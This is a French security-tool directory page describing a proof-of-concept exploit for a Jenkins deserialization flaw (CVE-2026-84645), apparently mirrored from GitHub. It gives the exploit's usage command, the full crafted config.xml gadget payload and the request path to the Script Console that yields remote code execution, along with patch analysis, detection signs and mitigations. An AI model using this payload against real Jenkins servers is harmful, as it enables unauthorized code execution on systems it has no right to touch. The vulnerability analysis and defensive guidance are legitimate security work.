Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-84645 — Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972) — PoC et analyse. Nécessite Item/Configure ; affecte les versions hebdomadaires <= 2.579 / LTS <= 2.568.2 | Kitploit
Outils/GitHubGitHub/mhtsec/cve-2026-84645
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubmhtsec/cve-2026-84645

CVE-2026-84645

Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972) — PoC et analyse. Nécessite Item/Configure ; affecte les versions hebdomadaires <= 2.579 / LTS <= 2.568.2

Voir le dépôt
il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-84645 — Désérialisation RCE PersistenceRoot Jenkins (SECURITY-3972)

PoC pour la vulnérabilité de désérialisation Jenkins corrigée le 2026-09-02 (avis). Un compte à faibles privilèges disposant de la permission Item/Configure sur un seul job peut transformer cela en exécution de code arbitraire en tant qu'utilisateur OS de Jenkins.

AffectéJenkins hebdomadaire ≤ 2.579, LTS ≤ 2.568.2
Corrigéhebdomadaire 2.580, LTS 2.568.3
Préconditionauthentifié, Item/Configure sur ≥ 1 job
ImpactRCE en tant que compte de service Jenkins
CVSS8.8 (Élevé)

Uniquement pour la recherche en sécurité autorisée sur des instances de test vulnérables.

Utilisation

root@kitploit:~
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id

Le script vérifie que le compte n'a pas de permission de script (403 attendu), soumet le config.xml forgé, puis route à travers le graphe d'objets injecté vers une Script Console dont la liste de contrôle d'accès (ACL) est contrôlée par l'attaquant.

Analyse technique

Cause racine

Deux comportements de longue date de la pile XStream de Jenkins (hudson.util.XStream2 / RobustReflectionConverter) se combinent :

  1. Les types PersistenceRoot pouvaient être désérialisés comme valeurs de champs imbriqués. JEP-200 restreint quelles classes peuvent être désérialisées, mais pas où dans le graphe d'objets. Tout champ typé comme (ou assignable à) un sous-type de PersistenceRoot était désérialisé comme un objet ordinaire. Puisque XStream instancie via Unsafe.allocateInstance (sans constructeur), un attaquant pouvait forger un second singleton hudson.model.Hudson avec des valeurs de champs arbitraires — y compris authorizationStrategy.
  2. Les champs transitoires étaient également désérialisés (le comportement de compatibilité « désérialiser dans les champs transitoires comme XStream 1.1.3 »). Les références d'objets requises pour le routage des requêtes Stapler (FingerprintAction.build, Run.project, AbstractItem.parent) sont transitoires, donc les objets injectés deviennent accessibles via HTTP — la formulation « gérer ensuite les requêtes HTTP via Stapler » de l'avis.

Chaîne de gadgets

POST /job/<job>/config.xml (nécessite uniquement Item/Configure) injecte dans les <actions> du job :

root@kitploit:~
<actions>
  <hudson.tasks.Fingerprinter_-FingerprintAction>
    <build class="hudson.model.FreeStyleBuild">        <!-- PersistenceRoot imbriqué (défaut 1) ; champ transitoire (défaut 2) -->
      <project class="hudson.model.FreeStyleProject">  <!-- Run.project : final transitoire protégé -->
        <parent class="hudson.model.Hudson">            <!-- AbstractItem.parent : transitoire ; 2e Jenkins forgé -->
          <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
        </parent>
        <name>...</name>
        <properties/>                                  <!-- évite NPE dans Job.getOverrides() -->
      </project>
    </build>
    <record/>
  </hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>

Stapler route ensuite la requête dans le graphe forgé :

Segment d'URLRésout versChemin de code
/job/<job>/fingerprintsFingerprintAction injectéurlName == "fingerprints" + Actionable.getDynamic()
/runFreeStyleBuild forgéFingerprintAction.getRun() lit le build transitoire
/parentFreeStyleProject forgéRun.getParent() lit le project final transitoire
/parenthudson.model.Hudson forgéAbstractItem.getParent() lit le parent transitoire
/scriptTextScript Console de l'instance forgéeJenkins.doScriptText() → _doScript(..., getACL())

Le contournement d'autorisation : doScriptText vérifie ADMINISTER contre l'instance qui a reçu la requête, c'est-à-dire getACL() du Hudson forgé, qui est dérivé de son propre champ authorizationStrategy — AuthorizationStrategy$Unsecured accorde tout. La stratégie d'autorisation du contrôleur réel ne participe jamais. Comme aucun constructeur ne s'exécute pendant la désérialisation, les initialiseurs de champs ne s'appliquent pas ; la charge utile doit définir authorizationStrategy (et properties) explicitement.

Analyse du correctif (2.580)

Diff de jenkins-2.579 → jenkins-2.580 :

  • RobustReflectionConverter.doUnmarshal refuse désormais de désérialiser un sous-type de PersistenceRoot dans un champ imbriqué (CriticalXStreamException : « Les objets PersistenceRoot sont des racines de documents et ne doivent pas apparaître comme valeurs de champs imbriqués »), n'autorisant que trois formes sûres : les références arrière XStream reference=, les remplaceurs non persistants resolves-to (Run$Replacer, User$Replacer, …), et les références scalaires de convertisseur à valeur unique.
  • Nouvelles annotations @XStreamNotDeserializable / @XStreamDeserializable plus TRANSIENT_FIELD_STRICT_MODE resserrent la désérialisation des champs transitoires par champ.
  • Jenkins.readResolve() refuse désormais de désérialiser un second singleton Jenkins et a gagné un remplaceur writeReplace().
  • Tests de régression : test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java.

Remarques

  • L'injection est en mémoire (transitoire) : le redémarrage de Jenkins l'efface, mais elle peut être soumise à nouveau à volonté.
  • Détection : charges utiles POST /job/*/config.xml inattendues contenant Fingerprinter_-FingerprintAction / hudson.model.Hudson imbriqués, ou requêtes vers /job/*/fingerprints/run/parent/parent/scriptText.

Atténuation

  • Mettre à niveau vers hebdomadaire ≥ 2.580 / LTS ≥ 2.568.3.
  • Restreindre Item/Configure aux administrateurs de confiance dans la matrice d'autorisation.
  • Auditer les journaux d'accès pour les motifs ci-dessus ; redémarrer les instances suspectes et vérifier les fichiers config.xml des jobs pour détecter toute pollution.

Références

  • https://www.jenkins.io/security/advisory/2026-09-02/#SECURITY-3972
  • https://nvd.nist.gov/vuln/detail/CVE-2026-84645
Télécharger l’outil